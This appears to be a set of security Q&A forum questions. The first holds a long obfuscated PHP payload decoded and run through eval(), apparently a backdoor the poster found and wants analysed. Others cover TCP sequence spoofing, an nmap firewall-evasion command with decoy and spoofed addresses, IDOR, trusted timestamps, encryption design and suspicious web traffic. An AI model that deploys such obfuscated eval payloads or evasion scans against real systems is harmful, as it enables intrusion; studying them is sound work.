_(,+|(.(:(:({(,-^(_,&+_(-+_(-+_(-+_(-(,+`(:+|(,(_(,-_(.+{(,-_(.)](`+_(-(](`(_,&(^-^+_(-(:+_(-({(,,&(.)](,+{(.(,+_(-)](:-^(:-^+_(-)](:(,(]+`(,-^(,(:(:(:(.+`(:(^(.(,+_(-(:(:)](.(.(,-^(.({(]+`(,-^(,(:(:(:(.+`(:(^(.(,(,(.(.-_(:+`(,(`+_(-+`(^(:(,+`(,-^(:+_(-(.(^+_(-(_(:+{(,+{(:)](,)]+_(-+{(.+`(](_+_(-(`(,(^(.-^(.(^(,(.(:(.+_(-)]+_(-(^(.(_+_(-)](.+`(^(^(.,&(,(](.(.(:+|(,(](.-_+_(-(_(.(.(:(`+_(-({+_(-+`(^(:(,+`(,-^(:+_(-(`(,(](:(_({(_(,(.(:(:(,(](:(_(](^(^+_(-(:(,(^(,,&(:+|+_(-(.(:(_(,)](_(:(.,&+_(-(:+_(-+`(^(.+_(-+{(,-^(`+`(`-^(,)](:(.(,(](_+`(:({(,(](:+_(-+_(-(_+_(-(`+_(-(:(:(`(:+`(^(,(`(:(,(](.(^(`(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](.(,(]+`(.+{(.(,(,+`(.+|(^+`+_(-(:(,)](:-^(:+|(],&(`+`(^+_(-(:(`(^+|(](](_+`(^(^+_(-+`(,-^(:+_(-(:(.(]+`(:+`(,+|(_+`(.+_(-(,-^(_(^(^(^+_(-(:(,(^(`(.(:+`(,(^(:,&(,+|(.(:(:+_(-(_+_(-(.+_(-(^(:+_(-(](,(.(:+|(:+|(](.(`(](,(.(.+{(.(^(:(](.+|(^({+_(-+{(:(](:(^(:+|+_(--^(`(](](_(,+`(:(,+_(--^(.+{(^(^(,(_(,(.(:,&(:(`(:(^(:(_+_(-(.(.(:(.(^+_(--_(:(_+_(--^(^(^(,(.(:+|(:(,(:(^(:(](,-_(:-^(`+_(-(](.(_+|(,,&(`({(,-_(:(`(:-_(,(:(:,&(,-_(_(.(`+_(-(,(:(.(](](^(.,&(,(.(:+|(:(,(:(^(:(](,-_(:-^(,)](,+`(.)](^+`(^(^(](`+_(-(.(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{(_)]+_(-(`+_(-(:(:+{(.+`+_(--^(.(,(](.(_,&(:-_(,(^(.+|(_)]+_(-(^(,-^(.(_(,(_(,+{(:-_(,(_(_,&(`-_(](.(`-^(:+|+_(-(_(,-^(:(](:(,(,(](:(_(](.(_,&(:(^(,+`(.+{(_)]+_(-+_(-(,(](:+|(:-_(,(:(:(](],&(_(_(`-^(,(:(.(](](^(.,&(,(.(:+|(:(,(:(^(:(](,-_(:-^(.+`+_(-(`(.,&(^(`(,+_(-(:(](:+{(:(`(,(:(,+|(,,&(.-_(.(.(:(](.(](^+`+_(--^(](.(`+{(_(.(_(,(:+`(,+|(_(.(`(`(,({(.(](^({(.,&(,({(:,&(:(`(,+|(:+`(,,&(_(:(.,&+_(-(:+_(-+`(^(.+_(-+{(,-^(`+`(`-^(,)](:(.(,(](_+`(:({(,(](:+_(-+_(-(_+_(-+_(-(,(](:+|(:-_(,(:(:(](],&(_(:(_,&+_(-(_(]-_+_(-)](^,&(,+|(:(`(.,&(]+`(:(,(,(^(.(](:(,(,(.(.(.+_(-(_(,(](,+`(:-^(.+|(,-_(^)](,+|(:-_(:({(,({(:+_(-(^-_+_(-,&(,(^(`(.(.+_(-(:(^(:+`(,(](.(:(,)](,+|(.(,(](.(^+`(]-_(:+|(`(,+_(-+_(-(:+`(,+|(_(.(:-^(,+`(:(_(_)]+_(-+{(,(^(:+{(,(_(,,&(:(_+_(--^(_(:(.,&+_(-)](.(,(](.(,(`+_(-)](:+|(`+_(-(.+`(:+`(,(](.(:(,)](,+|(.(,(](.(^+`(]-_(:+|(`(,(](:(_({+_(-(`(.-_(:+`+_(-({(.(,(^-_+_(-(](](:(:+`(:({+_(-)](,+|(,(:(.(](:-_(:(](.(.(^(:(,(_(:(](:(:(:(^(,(_(`+`+_(-+_(-(_-^(:-^(^(_(,(^(^-_+_(-+|(,(.(,,&(:-^(,-_(.(`(:(^(.+{(:+`(,(`(_,&+_(--_(])]+_(-)](:(`(.,&+_(--_(.+_(-(,(](_(.(`(.(,(:+_(--^+_(-(.+_(-+|(:(_(,)](`-^(,(_(:+|(,)](.+{(:+`(:(](:(:(^(`+_(--^+_(--^(:(`(`-^(:(`(`+`(^+_(-(:(`(.+{(_+_(-(_+`+_(-)](^(.(,({(:+`(:+|(,)](:({(]+`(:)](:(`(,,&(.(,+_(-(_+_(--_(,(](:(_(:+|(_(,(:+`(,+|(_(.(.-^(:(](.+|(^({+_(-+{(:(](:(^(:+|+_(--^(`+{(],&(:)](:(`(,,&(.(,(_)]+_(--_(,(](:(_(:+|(],&(`+`(](:(:+_(-(.-^(:(](.+_(-(^-_+_(-(`(](:(`(^(:+`(,+{(:,&(]+`(.(](:)]+_(--_(_(^(^(:(,+`(,-^(:+_(-(_(:(]+`(.(,(,+{(.+|(:(:(]+{(.({(^)]+_(-(_(,-^(`(.(:({(,)](.(`(,(:(:+|(:(:(]+|(_+|(,,&(,-_(_+_(-(`,&(`(_+_(-)](:-^(,+{(:({(.(.(]+{(.(,(]-^+_(-(`(,({(`(.(:+_(-(,-_(:-_+_(-+`(.-_(.(]+_(-({(]-_(^(,(,(`(,(^(:+_(-(.,&(,(:(:+|(,(](_+`(.-^(:(](:(^(^(`(,+_(-+_(-({(.(_(:+_(-+_(-({(.(_(](.(_-^(:(^(](.(:-^(`(_(,(.(,+`(.+_(-(.+`+_(--^(:+{+_(-({(:-_(`-^(]-_(.(_+_(--_(])]+_(-(_(^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+`(:(](.+_(-(.(,+_(-)](.(`(,-_(.(`(`-^(]-_(.(_+_(--_(,)](.+{(.+_(-(.(,+_(-)](.(`(,-_(.(`(`-^(]-_(.(_+_(--_(])]+_(-(_(^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+`(:(](.+_(-(:+_(-(,-_(:-_(,(_+_(-(^(:(:+_(-(:(.(,(^(^(^+`(]-_(:+_(-(`(,+_(-+_(-(:(_(,)](.(.(:)](]+{(,(^(](^+_(-+`(,-^(:-^(:(^(:(^(:(_+_(-(.(.-_(:(^(](:(_+_(-(^(^(^+{(^(,(.-_(^(:(,+|(.(_(,(](.)](.(.(,(.(.+`(^({(^(.+_(-(:(,,&(.)](,(^(.(:(,-_(.(](`-^(]-_(.(_+_(--_(,)](]-_(:,&(_(.(,(:(:(^(](.(_(.(`(.(,,&(`({(`(_(,(.(,(](.(.(:+|(,(](`+{(]-^(.)](`+`(]+|(:(`+_(-+_(-(^+{(](.(`+{(.(.+_(-,&(:+{(,(:(.(_(:(:(](:(_(](`(_+_(-(](,-^(:,&(:-_(](.(`(`(,+|(_(:(`-_+_(-(,(_+_(-(^)](^+|(^(_+_(-(.(:-_(,,&(:(_+_(--^(:)](`-^(]-_(.(:+_(--_(])]+_(-(_+_(-(.(.)](,)](:-_(,(^(:)](:(:(](:(_+_(-(^(,(^+{(^(,(.-_(:+|(,)](:+{(,(^(_+`(`(.(,(](`-^(]+{(`({(,,&(.(`(:(`(,)](.(`(,(:(.(^(:({(]+{(:,&(_)](,(.+_(-)](:,&(:+`(:(^(:+|+_(-+`(.-_(:({(](:(_+_(-(^(^(^+{+_(-(,(`(_(:(_(^+_(-(:+`(,+|(_(.+_(-(_(,(.(:(_(_)](,(,(,-^(.+_(-(:(_+_(--_(.+_(-(,)](.-_(`-^(]-_(:(^(,+{(:(.+_(-+{(.(,(:(_(,)](,+|(,(^(:+`(:(:(,(^(_,&+_(-(.+_(-+_(-(](`(:(:(.+{+_(-({(:(.+_(-(:(_(.(_(_(^(_(`+{(^(`(,(,+_(-)](:(:(.(,(](.(`(]+_(-+`(.(:(.(_(,-^(_(.+_(-+`(^(^+_(-)](`(^(`(,(](_(_(.(^(`(`(](:(`+_(-)](:(`(^(`(,+{(](:(`(^(.)](,(:(.(:(,-_(_,&(`+`(]+|(:(.+_(-+_(-(^+{(](`(_(,(_(](^(](:(.+_(-({(:({(:(`+_(-(.(_,&+_(-+_(-(,(.(,(.(.(.(:+|(],&(`-_(],&(:,&(`+_(-(](.(_+|+_(-+`(^(_(,,&(`+{(`(,(](:(.({(.+`(.+|(:(^(,(`(.+`(](^+_(-(`(](:(`(_(:-_(:+_(-(_(:(:(`(_(:(_,&+_(-+|(.,&(^-_+_(--^(,-^(`+`(`({(.+`(:(^(,-_(.(^(:(,(](:(_+_(-(^(,(.)](^+`(,-_(`(,(](:(.({(]-^(.(^(`({(^(_(,(^(^(,+_(-(^(,-^(.(_(.+`(](.(`(`(,+|+_(-+_(-(_(`(:(_(_+|(,,&(,-_(.+{(:(](:+`(,(_(:+|+_(-)](.-_(`-^(]-_(.(:(_,&(](:(:(_(`+{(_(.(.+`(.(:+_(-({(.(^(:(^(:(](.(_(^+`+_(-,&+_(-({(:(`(`+_(-(]-^(.(:(](:(`+_(-(.+{(,-^(.(_(^-^+_(-,&(]+{(`(_(:(_(^+_(-(.-^(_(,(.+|(.(:(,(^(.(_(](.+_(-+{(,(](:+|(`)]+_(-(.(,+|(,-_(:(.(:(:(,({(_,&+_(-(.+_(-+_(-(](.(.)](`,&(,(^(_({(.+`(.-_(.-^(,-^(.(_+_(--^(^(_(,({(`-^(`,&(,(^(`+`(^+_(-(.-_(:(^(,(:(.+`+_(-(_(:(.(,(.(:-_(.)](,(_(:+|(,-^(.-_(`-^(])]+_(-)](^({(^(,(](`(`(_(:(_(](:(_({+_(-(`(](,(`)](](](.+_(-(^)](^(.+_(-({(:-_(:({+_(-({(.(`(]+`(.+|(:(:+_(--_(.(_(^-^(`({(,,&(.(`(:(`(,)](.(`(,(:(.(^(:({(]+{(:,&(_)](,+_(-+_(--^(.(.(:+|+_(-({(:(^(,-_(:-^(:(^(,(:(_,&+_(-(.+_(-(:(](`(`(_(.)](](_(`(`+_(-({(_(_(`(.(,(`(_+|(:+|(,)](_+_(-(^+{(:(,(,+|(`+{(]-^(:)](_+{(.+{(.(:(](^+_(-,&(,({(:)](:(_+_(-+`(:(_(,(](_(.(`(.(,+`(_)]+_(-(.(,(.(](.(`+{(^(:(_(:(.({(_(,(](:(^-_(,(.(.(:+_(--^(^(_(,,&(_-_+_(-)](,+|(:+|+_(-+`(.-_(:({(](:(_+_(-(^+`(^-^(])](.(^(:+{(]({(`+`(](:(](,(^-_(_(.(:-^(:+|(`+{(_(.(^+{+_(-)](,+|(.(]+_(-({(.(:(.(.(,-^(_,&+_(-(.(,+_(-(](`(`(,+_(--^(.-_(,(`(]+`(_({(`({(]-_(:(`+_(-({(^(,(]+{+_(-+`(,,&(:-^(,(:(](^(`+{(`({(^+{+_(-)](](](.-^(,(^(,-^(.+{(:(_(:,&(]({(_(:(_,&(_+_(-(]+|(:-_(`+{+_(-+|(:+`(:(,(,(_(:(_(](.(_+{+_(-(_(,,&(.(,(^)]+_(-(](](:(`(_(.+`(](:(`+`(_(,(](:(^-_(_(.(:-^(:+|(`+{(_(.(^+{(^(,(]-^(:+_(-(^(`(,+`(:(,+_(-)](.(,(^(`+_(-(_(](:(`(_(.+`(](_(_+{(^+{(`(:(_(](](.(`-^(:+|(`+{(_(.(^+{(^(,(.+`(:(^+_(-,&(:({(:-_+_(--_(.(,+_(--^(^(_(,,&(`-^(`,&(,({(`+`(^+_(-(](,(^-_(_(.(]+|(]+{(`({(_(.(^+{(^(,(.+`(:(^(,)](.(_(:)]+_(-({(.(,+_(--^(^(_(,,&(`+{(_(.(_(,(^+`(_(:(](:(:(:(,({(.,&(^)](^(.(])]+_(-,&+_(-(.(:(_(:,&(]({(`+_(-(^+|(_(.(]+|(]+{(`({(_(.(^+{+_(-)](,+|(:(,(,(_(.(^(.(^(,-^(_,&+_(-(.(,+_(-(](.(_)](^(:(_(:(.-^(_(,(:(`(^+|(](](_+`(^(.+_(-,&(]+{(.+_(-(:(](,+{(.+_(-+_(--^(_+`(:(:+_(-(:(.(,(^(^(`({(,,&(.(`(:(`(,)](.(`(,(:(.(^(:({(]+{(:,&(_)](,+_(-(,(_(:(:(.+{+_(--^(,+|(,-_(:(.(:(:(,({(_,&+_(-(.+_(-+_(-(](.(^({(.(.(_(,(^+`(,(:(.+|(`-^(]-_(.(_(,+{(]-_(^(_(`(,(.-^(,(.(:+`(,)](.(.(`(_+_(-({(:(,(](_+_(-(`+_(-)](:(](:+|+_(--^(:(,(,(.(_+`(_(`(^(^(_(^+_(-)]+_(-(_(,-^(.(](`(_(,(](.(_(,(_(.(_(`(_(^)](`+{+_(-(_(^,&(,-_(:(`(.-_(](^(:,&+_(--_(.(_(:+`(]+{(_(:+_(-(,(^(.(,-^(:+_(-(:+_(-(,(^(`(:(.(^(,+_(-(`(](](.(]-_(:-_(,)](_+_(-(^+{(^(,(,-_(:(,(,(.(.(^(`(_(])](,+`(`,&(.-^(,(^(`(,(_(.(_(,(^+`+_(-(`(](,(^-_(,-^(.)](](^+_(-(`(,(.(:(](`+_(-(.+`(.(,+_(--^(:({(.(^+_(--_(:(`+_(--^(^(_(,({(`-^(`+{+_(-)](.(_+_(-+`(.-_(.(](,,&(.(,(](.+_(-+_(-(,(:(`(,(`(,(](:(^)](_(:(:+_(-(^+|(_(.(]+|+_(-(.+_(-(:(^(_+_(-(.(:+|+_(-(.(.(:(,(_(.(^(:(.(,-^(_,&+_(-+_(-(^(.(]+|(`-^(`,&(,)](`+`(^+_(-(](,(^-_(_(.(:,&(_)](,+_(-+_(--^(.(.(:+|+_(-({(:(^(,-_(:-^(:(^(,(:(_,&+_(-(.+_(-(:(:(,(_(:(,(](](_(`(`(,+{+_(-+_(-(_(](:(_(_)]+_(-(.+_(-(:(:(,(_+_(-(,(](](_(`(`(,+{+_(-+_(-(_(.(:(_(_+|(,,&(`({(_(.(.-_(^(:(_(:(:(_(,(_(:)](:(:(,(.(.(:+_(--^+_(-+`(,+`(.+_(-(,(_+_(-+`(:(.+_(-)](:)](.(.(,(:(:(`(](:(^+{+_(-(,(.+`(,(_+_(-+`(:(.+_(-)](:)](.(.(,(:(:(`(](:(^+`(]-_(:+_(-(`(,(^+_(-(.-^(_(,(](:(:(:(,(`(:(_(^(:+_(-+{(,,&(`+`(:+_(-(,+{(.(,(:(^(:)](.-_+_(-({(:+_(-(^(:+_(--_(](.(.)](.+_(-(:(^(.(,+_(-(:(:)](.(.(,-^(.({+_(--^(^(_(,({(`+{(_(.+_(-(`(^)](_(:(.-_(:+`+_(-({(.(,(^-_+_(-(](](:(:+`(:({+_(-)](,+|+_(-)](.(.(:(:(,(`(.)](_)]+_(-(`+_(-(:(:(`(:+`(](:(.({+_(-(.+_(-(^(.(^(,(:(.(,(^+`+_(--^(:(](:(`(.+_(-(,-_(:(,(](.(_-^(:(^(](.(`-^(]+{(`({(_(.(:(`(:(^+_(-)](:(_(,(:(.+|(`-^(,(:(.(](](^(.,&+_(-+{(:,&(.)](,-_(:,&(](:(:+_(-(.-^(:(](:(^(^)](,(.(,-^(:+|(`+_(-(]-^(:(,(](:(`+_(-(.+{(_+_(-(]+|(^(:+_(--^+_(-({(:(`(:(,(,+|(`+{(,(.(.+{(.(^(:(](:(^(](]+_(-,&(,({(,,&(:(_+_(-+`(:(_(,(](_(:(.,&+_(-(:+_(-+`(](_(,(,(,(](:+_(-(,(_(,(^(.(:(,-_(.(](`-^(]-_(.(_+_(--_(])]+_(-(_(^({(^(,(,-_(:-_+_(-)](.-_(:-_(,,&(_,&(^-^+_(-(:+_(-({(,,&(:+|+_(-(.(:(_(,)](_(:(.,&+_(-(:+_(-+`(^(:(,+`(,-^(:+_(-(`+_(-(]-^(:(,(](:(`+_(-(.+{(_+_(-(:({(:+|(^,&(](](:(^(:(_(_(,(`(`(,(](`(`(`+_(-(:({(.-_(`+|(.(](,(,+_(-(`(_-_+_(-({(:({(:({+_(-(:(:+|(]+|(`-^(:+|(^(_(,({(_-_(`,&(:(^+_(-(,(.(^(,(^+_(-,&(.(.(,(,(_,&(^(_(,(^(,-_(_(.(_(,(:+`(,+|(_(.+_(-(_(,-^(.({(](_(,(_+_(-(.(`+`(`,&(,)](`+`(](:(:+_(-(`(.(,({(`({+_(-(.(.,&(:+{+_(-,&(,+`(:-^(,({(]-^(.(](,+{(^(,(:({(:+|+_(-+{(,,&(`+`+_(-)](,-_(:-^+_(-+`(:-^(.-_(](:(_+_(-(^(^(^+{(](.(.)](`,&(,)](_-^(]-^+_(-(^+_(-+_(-(.-^+_(-+_(-(_,&(^(_(,(^(,-_(_(.+_(-(`(^)](,(:(.+|(`-^(.+{(.(.(^(:(,(_(:(](:-_(:({(,,&(:+`(,)]+_(-(^(.(`+_(--^(.+`(](.+_(-(`+_(-({(,,&(:-^+_(-+`(:(,(](.(_(:(`-_+_(-(,(_+_(-(^(^(]-_+_(-({(.(_(.+{(,(:(.(:+_(-)](.(_(:(`+_(-({(.,&(^(:(,+_(-(](:(`(_(:+`(](:(_({+_(-(`(](,(.-^(:(](:(_(^+{+_(-(:+_(-)](.(_(,(_(,-_(.+{(,-_(.)](`-^(]-_(.(_+_(--_(])](_+_(-(-(_(*,*)`(-(-)^*&,|-(,*(.(*,++^(*,|+`(:)^(*,|(^(^(:-^,:,,(.(*,|)_)\'),(:-^(*,.+^(*,++^(*,|+`+`)`(*,|)^-`,+,_-),+-^(*,*({)`*&,),.-((.(.(*,.+^(*,++^(*,|+`+`)_)_)*(:(^(.(*,.+^(*,++^(^(^(*,|+`+`(:(:)^-`-`,:,,(.(\'*&,:-)-),+-*(.(*+|+)*++(+,*++((:(:-^(*+|*)*|*|*^*:*+)`(,(**.+*+*+&+|*)*|*|*^*:*++|+,*\'+(+))^(*+|+&*|+)+*)`(,(**.+*+*+&+|+&*|+)+*+|+,*\'+(+))^(*+|*-*++*)`(,(**.+*+*+&+|*-*++*+|+,*\'+(+))^-`(*,^)`(*+|*)*|*|*^*:*++^(-,^,+-:(-+`)^,:,,(.,+,`-&-*-:(.(*,^(:(:-^(*,^)`(*+|+&*|+)+*+^(-,^,+-:(-+`)^-`,:,,(.,+,`-&-*-:(.(*,^(:(:-^(*,^)`(*+|*-*++*+^(-,^,+-:(-+`)^-`,:,,(.(\'*&,,-+,{,)-*,:,|,{+|,+-.,:-)-*-)(.(-,*,+,)-(-:-&-*(-(:(:-^,+-,,\',_(.(-,,-+,{,)-*,:,|,{(&,*,+,)-(-:-&-*(.(*,+(_(*,^(:-^,:,,(.(\'(*,^(:-^-(,+-*-+-(,{)^-`(*,+,_)`*&-)-*-(,_,+,{(.(*,+(:)^(*,^,_)`*&-)-*-(,_,+,{(.(*,^(:)^(*-(,_)`(*,+,_(+(*,^,_)^(*,,,_)`(*,+,_(`(*-(,_)^,,,|-((.(*,|)`)&)^(*,|)_(*,,,_)^(*,|(^)`(*,^,_(:-^(*-&)`*&-)-+,(-)-*-((.(*,+(_(*,|(_(*,^,_(:)^(*,*({)`(((*,^((+{(((*-&(()^-`,:,,(.(*-(,_(:-^(*-&)`*&-)-+,(-)-*-((.(*,+(_(*,,,_(_(*-(,_(:)^(*,^)`*&-)-+,(-)-*-((.(*,^(_)&(_(*-(,_(:)^(*,*({)`(((*,^((+{(((*-&(()^-`-(,+-*-+-(,{(.(*,*(:)^-`(-(:)^-`(*,*)`*&,*,+,)-(-:-&-*(.(*,*(_(*,^(:)^,+-,,\',_(.(*,*(:)^',$d='';@ord($e[$o]);$o++){if($o<16){$h[$e[$o]]=$o;}else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d); ?>
I replaced the eval with an echo, ran it on phpfiddle, and got more of the same obfuscation, this time with multiple eval lines.
What is the best way to deobfuscate this sort of thing so I can figure out what it's doing?
|
Is it possible to create a timestamp that is so hard to fake, that it could be used as proof or simply strong evidence in a court of law, that something was not created after a certain point in time?
The file could be anything; a word document, an image, an audio file, a software specific file, ie. PSD.
Some ways I think might work are by uploading it to a reputable cloud or social networking site but what if by some twist of fate the large company goes bust and I can no longer prove it?
What is the most secure, hardest-to-fake, longest lasting (not likely to become invalid anytime soon) way to prove that a digital file was not created after a certain point in time?
It could still be possible to fake, but preferably by some highly advanced means that makes it unlikely.
The use case I'm essentially envisioning is:
A simple 'your word against theirs' situation.
Against all sane advice, I create a file on a pay-if-you-like-it basis, with no written contract. They like it and use it, but don't pay.
I want to sue them with very strong evidence that I created the file before them (if they're trying to argue that they made it themselves - like a simple branded word template).
I'm not looking for advice from a legal standpoint, but expertise about timestamps, and how to create one with strong authenticity (I think).
|
Consider the following...
Alice and Bob are communicating over TCP. Currently, the next expected TCP sequence number is 1000. Charlie, pretending to be Alice, sends a spoofed TCP packet to Bob with a sequence number of 1003. Bob's computer holds onto this packet thinking that it arrived out of order. Meanwhile, Alice continues sending packets to Bob, sequenced as 1000, 1001, and 1002. Now, Bob's computer processes the spoofed TCP packet thinking it is the next in sequence.
In this scenario, assuming my understanding is correct, it seems that the attacker doesn't need to exactly predict the next sequence number, but rather just needs to guess the a sequence number that is greater than or equal to the current sequence, but also close enough to the sequence number so that it doesn't expire... as surely it won't hold on to the out-of-order packet forever.
This raises the following questions...
1) Is my understanding of the scenario I described correct?
2) What determines how long an out-of-order packet should be kept, while it waits for the previously sent packets?
3) What would happen to the TCP session when Alice finally sends a packet with TCP sequence 1003, given that Charlie's spoofed packet was already processed?
|
I'm scanning a Windows XP in a virtualized environment. I use all of needed arguments to bypass its firewall but it doesn't answer:
nmap -e eth0 -Pn --data-length 5 --badsum -g 80 -S 192.168.1.103 -f -T1 -D 192.168.1.200,192.168.1.30,192.168.1.45,192.168.1.90 192.168.1.102
This is the response:
all 1000 scanned ports are filtered
Firewall rules allow file and printer sharing plus some other ports. Is there any way to bypass?
|
If I understand correctly, the main difference is that the user must be logged in to carry out an insecure direct object reference attack but he doesn't have to be logged in to exploit a broken access control attack.
Do I have this right? What are the differences?
|
I'm posed with a situation where i am uncertain which way to go.
We have 2 Virtual Machines set up at a host that'll act as a webserver and a database server.
Obviously, both will have to communicate with eachother. Now currently the way that it's set up is that they both communicate over their ext. ip's. (so we query the ip of the database server from our webserver). However we feel like this isn't very secure.
So far what i came up with is to set up a OpenVPN server on the Database server and a OpenVPN client on the webserver. Set OpenVPN up to use private IP adresses and reroute all traffic through the VPN tunnel.
I think it's fairly secure but quite honestly i don't really know. Also i don't really know how this would turn out in performance. We don't want to sacrifice too much performance on this.
Anyone have any ideas if this is a good set up ? Or anyone have any other ideas how to achieve a better result ?
Thank you.
|
I've watched this video, and what this guy says is that
with javascript its easy to create a worm that steals your information
also that javascript will continue to execute even tho you closed the tab
of the infected site , on the other tabs. Even after closing the browser
it will save itself in cache only to load itself next time you open the browser.
Are javascripts really that dangerous? Is it worth using NoScript?
http://www.youtube.com/watch?v=0QT4YJn7oVI
|
Occasionally, I've produced (and reproduced) the HTTP 500 Internal Server Error on an online banking platform - quite a famous one. I suppose the errors are due to bugs in back end code, possibly security vulnerabilities.
How can I make this information public, without compromising a platform that's used by thousand of people?
From my point of view, simply communicating this to the bank's development team is insufficient; I'd like to be sure that they subject the platform to vulnerability assessment.
|
We can assume that if an attacker gained access to a web server running mysql that they would be capable of reading the scripts to determine the mysql password.
If mysql only responds on localhost, does it really need a strong password?
Sure, if there was an exploit on the server which allowed an attacker to upload and run PHP files, they could wreak havoc on the database if there wasn't a secure password. However they could still use that PHP file to access the 'real' server scripts, send them to the client, then read the password that way.
I really don't understand the need for a mysql password if it only responds to localhost. Why is it important?
When I say 'no password' I mean leaving it as the default value of 'password' which is probably the first guess for an attacker
|
I realize SIMILAR questions have been asked before but I'm looking for certain specifics I can't seem to find elsewhere. The following question closely resembles mine but falls short for me on details: Encryption strategies for multi users access in production systems.
I'm creating an application that allows users to add content, which is then encrypted
and stored in a database using a content key. This content key is a randomly generated string of 32 characters (since rijndael-256 doesn't seem to support more than 32 characters, or certain utf-8 characters for that matter, but that subject is outside the scope of this question). The content key is also stored in the database, encrypted with the private application key.
What doesn't make sense to me is that next, according to similar posts, each user that should have access to the encrypted content should be given a unique key.
How is this safer than let's say creating a reference for every encrypted row stating which users are allowed to view the encrypted content based on the user's id?
What I'm looking for is a detailed explanation on how to tackle these kind of situations, and furthermore what the keys and passwords (if any) should be derived of.
|
CNet is reporting that all OpenID and OAuth sites are vulnerable to an attack called "Covert Redirect". What is this attack, how does it work, and as an end user, how can I mitigate the risk?
|
I was thinking about the feasibility of one way remote control using radio signals. The sending hardware would be bound to a computer and therefore have enough computing power, while the reciever would be a limited hardware device that have some rudimentary computing power.
Putting aside the obvious drawbacks of one way communication (acknowledgement), would the proposition I have in mind be feasible.
The reciever has the private, and the sender has the public key
The sender sends a encrypted data stream containing a random string
The reciever decrypts the data
The sender uses the unencrypted string as header for the bulk data
The sender encrypts header+data and sends them to the reciever
The reciever can verify that the data is authentic
Problems(I assume that the channel will transfer the data without too much interference):
Acknowledgement(of course)
Repeating the same data streams from a third party
I thought about the second problem, and it came to mind that a time stamp could be helpful(put it into the header before encryption). But the reciever won't be connected to any network to update the time, so it would need a synchronised clock. I don't know if synchronisation through this channel would be a security risk.
I tried to find something on the internet regarding one way communication but haven't found anything very helpful. I tried to stick to the KISS principle, as I hoped it would be less error prone. What are your thoughts of the system? Are there any obvious flaws?
P.S. I'm no security expert, but I had some minimal stuff in some broad engineering courses though.
|
I am looking to improve my skills, to do so I need a site with an old OpenSSL version, so that I can do a pentest on my own.
|
I saw a hot network question on SE, about Workplace Ethics - Do I give my password at work to my old boss after quitting?. My initial response (as are the answers in that question) is always NO. The reasons are highlighted there, and I'm sure all of you agree with me.
My question though is about one of the answers, talking about full disk encryption. For items like TrueCrypt, or maybe even BitLocker. They encrypt the disk, and use a passphrase to unlock it. I also know that Dell (and other companies, I'm sure) can have the hard drives encrypted before booting past the BIOS, again with a password.
With these methods, obviously just resetting a password in Active Directory or your Samba server won't give you access to the system. But what methods could an organization use that would allow Full Disk Encryption, but be able to recover or access the data if the employee leaves (i.e. Hit by a bus, fired, quit)? Or are there other considerations?
I should note though, that one of my previous employers used the Dell Hard Disk Encryption passwords, but it was set to our password, and we were free to change it whenever we wanted. An employee passed on, then all current laptops needed their passwords changed to ONE generic password, which I don't believe should be the case. Correct me if I'm wrong, though.
|
So I was reading some comments on a popular forum about SSL encryption and how some websites pass their login form data as plaintext and don't use SSL or TLS. I understand that using an encryption method allows data to pass to the server securely and stops a 3rd party from eavesdropping, and then allows decryption on the server-side.
But lets say there isn't a 3rd party sniffing the packets - is there any benefits to using SSL in that case? Or is SSL's sole purpose to encrypt packets to stop sniffers?
Thanks in advance.
|
Recently, I scanned a physical document for a friend, put it on my web server so that he could download it, and sent him the URL over the MSN chat network. I removed the file again shortly afterwards, but about an hour later, I got the following HTTP request for the same URL:
65.52.100.214 - - [15/Apr/2014:03:58:48 +0200] "HEAD /~fredrik/tmp/fskatt.pdf HTTP/1.1" - - "-" "-"
65.52.100.214 is neither me nor my friend, but is in fact registered to "Microsoft Corporation", if whois is anything to go by. Note that it's a HEAD request, so Microsoft never fetched the actual contents.
About a week later, I started getting multiple requests per day to the same URL from various IP addresses with weird user agent from all over the net. Here are but a few of them:
74.217.148.74 - - [22/Apr/2014:22:36:14 +0200] "GET /~fredrik/tmp/fskatt.pdf HTTP/1.1" - - "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Embedded Web Browser from: http://bsalsa.com/; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; msn OptimizedIE8;ESES)"
64.124.203.74 - - [22/Apr/2014:22:52:51 +0200] "GET /~fredrik/tmp/fskatt.pdf HTTP/1.1" - - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; GTB6.4; SIMBAR={DBAB9A86-8527-4206-A26B-A5C3AFEEFC8D}; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; eSobiSubscriber 2.0.4.16; .NET4.0C; Windows Live Messenger 14.0.8117.0416)"
64.124.203.71 - - [30/Apr/2014:23:26:39 +0200] "GET /~fredrik/tmp/fskatt.pdf HTTP/1.1" - - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; chromeframe/11.0.696.57; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; SLCC1; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; Tablet PC 2.0; .NET4.0C)"
208.50.101.158 - - [03/May/2014:01:10:28 +0200] "GET /~fredrik/tmp/fskatt.pdf HTTP/1.1" - - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; ibrytetoolbar_playbryte; ShopperReports 3.1.69.0; SRS_IT_E8790771BC76555133AA96; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)"
(The complete list can be seen here.)
Note that this URL has 404:ed ever since that day. Though, I'm not sure whether the file was yet removed when the first request from Microsoft was made at Apr 15.
Neither me nor my friend knowingly used the URL in any other place. Does this mean that Microsoft is scanning MSN chats for URLs, and sometimes does "stuff" with them? What is even happening in this following barrage of requests? Or is there some other explanation? Is this behavior known and documented somewhere?
I have also, of course, shared a lot of other private URLs over MSN, without detecting them having been scanned.
|
I ran a couple of wireshark runs for my computer and noticed inbound GET requests.
Is it legitimate traffic for there to be GET request traffic inbound to my home computer if my home computer isn't a server?
|
